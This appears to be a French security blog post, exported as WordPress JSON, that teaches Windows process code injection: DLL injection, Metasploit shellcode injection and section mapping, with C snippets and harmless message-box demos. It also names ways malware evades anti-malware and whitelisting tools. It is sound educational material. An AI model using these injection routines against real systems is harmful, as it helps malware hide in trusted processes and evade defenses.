{"id":448,"date":"2018-12-06T22:34:26","date_gmt":"2018-12-06T21:34:26","guid":{"rendered":"http:\/\/pentester.blog\/?p=448"},"modified":"2020-11-26T21:20:24","modified_gmt":"2020-11-26T20:20:24","slug":"revue-des-techniques-dinjection-de-code-sous-windows","status":"publish","type":"post","link":"https:\/\/hacktarus.fr\/?p=448","title":{"rendered":"Revue des techniques d&rsquo;injection de code sous Windows"},"content":{"rendered":"<p>L&rsquo;injection de code n&rsquo;est pas un sujet nouveau mais cela reste int\u00e9ressant car :<\/p>\n<ul>\n<li>il n&rsquo;y a pas une seule mais de multiples techniques d&rsquo;injection de code<\/li>\n<li>ces techniques sont toujours utilis\u00e9es dans de nombreux malwares<\/li>\n<li>je me suis aper\u00e7u que pas mal de gens en s\u00e9curit\u00e9 ne connaissent pas bien ce sujet.<\/li>\n<\/ul>\n<p><em>Alors qu&rsquo;est-ce que l&rsquo;injection de code et \u00e0 quoi \u00e7a sert ?<\/em><\/p>\n<p>L&rsquo;injection de code m\u00e9moire consiste \u00e0 ins\u00e9rer un programme dans un processus Windows en cours d\u2019ex\u00e9cution.<\/p>\n<p><em>Mais pourquoi faire ?<\/em><\/p>\n<p>Comme tout malware qui se respecte le but est de rester discret donc utiliser un programme d\u00e9j\u00e0 en m\u00e9moire c&rsquo;est royal.<br \/>\nEn effet imaginons qu&rsquo;un outil de type \u00ab\u00a0application whitelisting\u00a0\u00bb sur un poste de travail n&rsquo;autorise qu&rsquo;une liste bien pr\u00e9cise de processus \u00e0 sortir sur Internet. L&rsquo;injection de code dans un processus autoris\u00e9 va justement permettre de passer cette barri\u00e8re infranchissable.<\/p>\n<p>Par ailleurs une fois l&rsquo;injection de code r\u00e9ussie, il est possible de d\u00e9tourner les appels syst\u00e8mes r\u00e9alis\u00e9s par le processus infect\u00e9. C&rsquo;est de cette fa\u00e7on que font par exemple certains malwares pour intercepter discr\u00e8tement les requ\u00eates web (m\u00eame en HTTPS).<br \/>\nBref vous l&rsquo;avez compris, l&rsquo;injection de code pour un malware c&rsquo;est top \ud83d\ude41<\/p>\n<p><em>Comment est-ce possible ?<\/em><\/p>\n<p>C&rsquo;est l\u00e0 le drame, Windows ne filtre pas nativement les acc\u00e8s fait aux diff\u00e9rents processus, ce qui permet l&rsquo;allocation d&rsquo;une zone m\u00e9moire dans le processus cible par le processus attaquant.<br \/>\nAlors certes la plupart des solutions anti-malwares d\u00e9tectent ces techniques d&rsquo;injection de bases mais pas toutes.<\/p>\n<p>Alors commen\u00e7ons par la base.<\/p>\n<p>La technique la plus connue est certainement celle employant le trio d&rsquo;appels syst\u00e8me Windows suivant :<\/p>\n<p><em>VirtualAllocEx \/ WriteProcessMemory \/ CreateRemoteThread<\/em><\/p>\n<p><em>Qu&rsquo;est-ce que ce charabia ?<\/em><\/p>\n<p>Cette technique repose sur le fait qu&rsquo;il est possible d&rsquo;allouer de la m\u00e9moire (VirtualAllocEx), d&rsquo;\u00e9crire dans un processus (WriteProcessMemory) et d&rsquo;y ex\u00e9cuter un thread (CreateRemoteThread).<\/p>\n<p>Plusieurs fa\u00e7ons de proc\u00e9der :<\/p>\n<p><strong>1) Injection d&rsquo;une DLL\u00a0<\/strong><\/p>\n<p>Dans ce cas on n&rsquo;injecte pas du code directement mais le chemin d&rsquo;une DLL malveillante que l&rsquo;on ex\u00e9cute.<\/p>\n<p>Au niveau programmation, cela se pr\u00e9sente de la forme suivante :<\/p>\n<pre>LPCSTR DllPath = \"Ici se trouve le chemin vers la DLL \u00e0 ex\u00e9cuter\";\nint PID = pid_processus_cible \/\/ Ici on inscrit le num\u00e9ro du processus cible<\/pre>\n<pre>\/\/ On ouvre le processus cible\nHANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);<\/pre>\n<pre>\/\/ On alloue de la m\u00e9moire dans le processus cible.\n\/\/ La taille demand\u00e9e correspond \u00e0 la longueur de la cha\u00eene de caract\u00e8res du chemin complet de la DLL augment\u00e9 de 1 pour le caract\u00e8re fin de cha\u00eene.\nLPVOID pDllPath = VirtualAllocEx(hProcess, 0, strlen(DllPath) + 1,\nMEM_COMMIT, PAGE_READWRITE);<\/pre>\n<pre>\/\/ On \u00e9crit le chemin de la DLL dans le processus cible\nWriteProcessMemory(hProcess, pDllPath, (LPVOID)DllPath,\nstrlen(DllPath) + 1, 0);<\/pre>\n<pre>\/\/ On y est. \n\/\/ On cr\u00e9e un thread dans le process cible avec comme adresse m\u00e9moire celle de la DLL \u00e0 faire ex\u00e9cuter par la fonction LoadLibray et le tour est jou\u00e9\nHANDLE hLoadThread = CreateRemoteThread(hProcess, 0, 0,\n(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA(\"Kernel32.dll\"),\n\"LoadLibraryA\"), pDllPath, 0, 0);<\/pre>\n<p>Ci-joint un screenshot montrant l&rsquo;injection d&rsquo;une DLL affichant un message \u00ab\u00a0Hello from testlib\u00a0\u00bb dans le programme Notepad++ :<\/p>\n<p><a href=\"https:\/\/github.com\/kahlon81\/Process-Injection-DLL\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-453\" src=\"http:\/\/hacktarus.fr\/wp-content\/uploads\/2018\/12\/dll-injection-notepad.png\" alt=\"\" width=\"1194\" height=\"719\" \/><\/a><\/p>\n<p><a href=\"_wp_link_placeholder\">https:\/\/github.com\/kahlon81\/Process-Injection-DLL<\/a><\/p>\n<p><strong>2) Injection d&rsquo;un programme complet (code assembleur)<\/strong><\/p>\n<p>Dans ce cas on injecte vraiment du code sous la forme de code assembleur.<\/p>\n<p>Au niveau programmation, cela se pr\u00e9sente de la fa\u00e7on suivante :<\/p>\n<p>On met le code \u00e0 injecter dans une cha\u00eene de caract\u00e8res contenant les opcodes en hexad\u00e9cimal du code assembleur. Par exemple, ci-dessous on a le code assembleur d&rsquo;un MessageBox issu de l&rsquo;outil Metasploit :<\/p>\n<pre>\/\/ Metasploit Messagebox \nchar shellcode[] = \"\\xd9\\xeb\\x9b\\xd9\\x74\\x24\\xf4\\x31\\xd2\\xb2\\x77\\x31\\xc9\\x64\\x8b\\x71\\x30\\x8b\\x76\\x0c\\x8b\\x76\\x1c\\x8b\\x46\\x08\\x8b\\x7e\\x20\\x8b\\x36\\x38\\x4f\\x18\\x75\\xf3\\x59\\x01\\xd1\\xff\\xe1\\x60\\x8b\\x6c\\x24\\x24\\x8b\\x45\\x3c\\x8b\\x54\\x28\\x78\\x01\\xea\\x8b\\x4a\\x18\\x8b\\x5a\\x20\\x01\\xeb\\xe3\\x34\\x49\\x8b\\x34\\x8b\\x01\\xee\\x31\\xff\\x31\\xc0\\xfc\\xac\\x84\\xc0\\x74\\x07\\xc1\\xcf\\x0d\\x01\\xc7\\xeb\\xf4\\x3b\\x7c\\x24\\x28\\x75\\xe1\\x8b\\x5a\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\\x5a\\x1c\\x01\\xeb\\x8b\\x04\\x8b\\x01\\xe8\\x89\\x44\\x24\\x1c\\x61\\xc3\\xb2\\x08\\x29\\xd4\\x89\\xe5\\x89\\xc2\\x68\\x8e\\x4e\\x0e\\xec\\x52\\xe8\\x9f\\xff\\xff\\xff\\x89\\x45\\x04\\xbb\\x7e\\xd8\\xe2\\x73\\x87\\x1c\\x24\\x52\\xe8\\x8e\\xff\\xff\\xff\\x89\\x45\\x08\\x68\\x6c\\x6c\\x20\\x41\\x68\\x33\\x32\\x2e\\x64\\x68\\x75\\x73\\x65\\x72\\x30\\xdb\\x88\\x5c\\x24\\x0a\\x89\\xe6\\x56\\xff\\x55\\x04\\x89\\xc2\\x50\\xbb\\xa8\\xa2\\x4d\\xbc\\x87\\x1c\\x24\\x52\\xe8\\x5f\\xff\\xff\\xff\\x68\\x6f\\x78\\x58\\x20\\x68\\x61\\x67\\x65\\x42\\x68\\x4d\\x65\\x73\\x73\\x31\\xdb\\x88\\x5c\\x24\\x0a\\x89\\xe3\\x68\\x58\\x20\\x20\\x20\\x68\\x4d\\x53\\x46\\x21\\x68\\x72\\x6f\\x6d\\x20\\x68\\x6f\\x2c\\x20\\x66\\x68\\x48\\x65\\x6c\\x6c\\x31\\xc9\\x88\\x4c\\x24\\x10\\x89\\xe1\\x31\\xd2\\x52\\x53\\x51\\x52\\xff\\xd0\\x31\\xc0\\x50\\xff\\x55\\x08\";<\/pre>\n<pre>\/\/ On ouvre le processus cible\nproc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 7356);\n<\/pre>\n<pre>\/\/ On alloue de la m\u00e9moire dans le processus cible, la taille allou\u00e9e correspond \u00e0 la taille du code inject\u00e9\nshell = VirtualAllocEx(proc, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)\n<\/pre>\n<pre>\/\/ On \u00e9crit le code dans le processus cible\nWriteProcessMemory(proc, shell, shellcode, sizeof(shellcode), &amp;total);<\/pre>\n<pre>\/\/ On ex\u00e9cute le code\ns = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)shell, NULL, 0, 0)\n<\/pre>\n<p>Ci-joint un screenshot montrant l&rsquo;injection de ce code dans Notepad++, celui-ci affichant un message \u00ab\u00a0Hello, from MSF\u00a0\u00bb :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-455\" src=\"http:\/\/hacktarus.fr\/wp-content\/uploads\/2018\/12\/shellcode-injection-notepad.png\" alt=\"\" width=\"1168\" height=\"795\" \/><\/p>\n<p><a href=\"https:\/\/github.com\/kahlon81\/Process-Injection-ASM\">https:\/\/github.com\/kahlon81\/Process-Injection-ASM<\/a><\/p>\n<p><strong>3) Technique dite \u00ab\u00a0Reflective DLL\u00a0\u00bb<\/strong><\/p>\n<p>Les deux techniques pr\u00e9c\u00e9dentes utilisent un appel \u00e0 la fonction WriteProcessMemory, ce qui est facile \u00e0 tracer par les outils anti-malwares, par cons\u00e9quent ces techniques d&rsquo;injection ne sont plus trop utilis\u00e9es.<br \/>\nUne autre technique a vu le jour il y a quelques temps (utilis\u00e9e par exemple par le botnet Andromeda) est justement de ne plus faire appel \u00e0 la fonction WriteProcessMemory . L&rsquo;id\u00e9e est de cr\u00e9er une \u00ab\u00a0section\u00a0\u00bb (un programme Windows est compos\u00e9 de plusieurs sections) et de mapper cette section dans l&rsquo;espace m\u00e9moire du processus courant et dans celui du processus cible. Ce n&rsquo;est pas sans difficult\u00e9 car on ne connait pas \u00e0 l&rsquo;avance \u00e0 quelle adresse m\u00e9moire sera positionn\u00e9e la nouvelle section, il sera donc n\u00e9cessaire de \u00ab\u00a0reloger\u00a0\u00bb (d\u00e9placer) le code, ce qui veut dire recalculer les sauts d&rsquo;adresses \u00e9crits en absolus. Bref, c&rsquo;est plus compliqu\u00e9 mais \u00e7a fonctionne bien et surtout plus besoin du WriteProcessMemory !<\/p>\n<p>Au niveau programmation, prenons l&rsquo;exemple de la calculatrice Windows dans laquelle nous voulons injecter le code suivant :<\/p>\n<pre>MessageBoxA(NULL, \"Code injection demo.\", \"hacktarus.fr\", MB_ICONINFORMATION);<\/pre>\n<p>L&rsquo;int\u00e9gralit\u00e9 du code d&rsquo;injection est un peu trop long \u00e0 publier alors je me limite aux principaux appels :<\/p>\n<pre>\/\/ On suspend le processus cible (la calculette dans notre exemple)\nCreateProcessW(NULL, ImagePath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &amp;StartupInfo, &amp;ProcessInfo)<\/pre>\n<pre>\/\/ On cr\u00e9e la section\nNtCreateSection(&amp;SectionHandle, SECTION_MAP_EXECUTE | SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, &amp;SectionMaxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);<\/pre>\n<pre>\/\/ On map la section dans le processus cible\nNtMapViewOfSection(SectionHandle, ProcessHandle, &amp;RemoteAddress, NULL, NULL, NULL, &amp;ViewSize, 2, NULL, PAGE_EXECUTE_READWRITE);<\/pre>\n<pre>\/\/ La section cible est un miroir de notre section locale. \n\/\/ Toute modification dans la section locale affectera automatiquement la section cible\nmemcpy(LocalAddress, (LPVOID)OurBaseAddress, NtHeaders-&gt;OptionalHeader.SizeOfImage);<\/pre>\n<pre>\/\/ On reloge le code \u00e0 l'adresse RemoteAddress\nRelocatePE((PBYTE)LocalAddress, RemoteAddress);<\/pre>\n<pre>\/\/ On remet le processus \u00e0 l'\u00e9tat normal (il \u00e9tait suspendu)\nResumeThread(ProcessInfo.hThread)<\/pre>\n<p>Ci-joint une capture \u00e9cran de l&rsquo;injection de code d&rsquo;un MessageBox dans la calculatrice Windows :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-457\" src=\"http:\/\/hacktarus.fr\/wp-content\/uploads\/2018\/12\/injection-section-calc.png\" alt=\"\" width=\"928\" height=\"554\" \/><\/p>\n<p><a href=\"https:\/\/github.com\/kahlon81\/Process-Injection-Reflective-DLL\">https:\/\/github.com\/kahlon81\/Process-Injection-Reflective-DLL<\/a><\/p>\n<p>Voila vous avez maintenant les bases de l&rsquo;injection de code dans les processus Windows. Vous retrouverez sous peu sur mon Github l&rsquo;ensemble des codes sources des exemples.<\/p>\n<p>Pour ceux qui veulent aller plus loin, sachez que les auteurs de malwares ne manquent pas d&rsquo;imagination pour \u00e9chapper aux anti-malwares comme par exemple \u00e9crire octet par octet le code \u00e0 injecter plut\u00f4t que d&rsquo;envoyer un buffer complet ou bien ne pas envoyer des opcodes assembleur Intel mais envoyer un bytecode propri\u00e9taire (un nouveau langage en somme)&#8230;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>L&rsquo;injection de code n&rsquo;est pas un sujet nouveau mais cela reste int\u00e9ressant car : il n&rsquo;y a pas une seule mais de multiples techniques d&rsquo;injection de code ces techniques sont toujours utilis\u00e9es dans de nombreux malwares je me suis aper\u00e7u que pas mal de gens en s\u00e9curit\u00e9 ne connaissent pas bien ce sujet. Alors qu&rsquo;est-ce &hellip; <a href=\"https:\/\/hacktarus.fr\/?p=448\" class=\"more-link\">Continuer la lecture de <span class=\"screen-reader-text\">Revue des techniques d&rsquo;injection de code sous Windows<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-448","post","type-post","status-publish","format-standard","hentry","category-malware"],"_links":{"self":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/448","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=448"}],"version-history":[{"count":19,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/448\/revisions"}],"predecessor-version":[{"id":760,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/448\/revisions\/760"}],"wp:attachment":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=448"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=448"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=448"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}